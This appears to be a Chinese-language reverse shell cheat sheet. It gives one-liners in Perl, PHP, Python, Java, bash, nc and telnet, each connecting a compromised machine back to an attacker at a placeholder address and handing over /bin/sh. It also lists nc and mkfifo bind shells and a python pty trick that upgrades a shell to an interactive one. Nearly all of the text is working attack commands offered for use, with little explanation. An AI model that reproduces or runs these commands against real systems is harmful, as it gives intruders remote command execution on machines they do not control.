攻击机监听
靶机远程反弹shell Perl 1 2 3 4 perl -e 'use Socket;$i="x.x.x.x";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:xxxx");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
php 1 php -r '$sock=fsockopen("x.x.x.x",xxxx);exec("/bin/sh -i <&3 >&3 2>&3");'
python 1 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Java 1 2 3 r = Runtime.getRuntime() p = r.exec(["/bin/bash" ,"-c" ,"exec 5<>/dev/tcp/x.x.x.x/12345;cat <&5 | while read line; do \$line 2>&5 >&5; done" ] as String[]) p.waitFor()
bash 1 2 3 bash -c 'sh -i &>/dev/tcp/x.x.x.x/xxxx 0>&1' bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1
nc 支持-e
1 nc -e /bin/sh x.x.x.x xxxx
不支持-e
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 12345 >/tmp/f
telnet 1 rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 12345 0</tmp/p | /bin/bash 1>/tmp/p
正向链接 靶机
支持-e
1 nc -l -p xxxx -e /bin/bash
不支持-e
1 2 mkfifo /tmp/tmp_fifo cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l xxxx > /tmp/tmp_fifo
攻击机
通过python变为交互式shell 交互式shell与非交互式shell:简单说就是执行两个命令打开了几个终端,如果是只打开了一个终端就是交互式,否则就是非交互式;
1 python -c 'import pty; pty.spawn("/bin/bash")'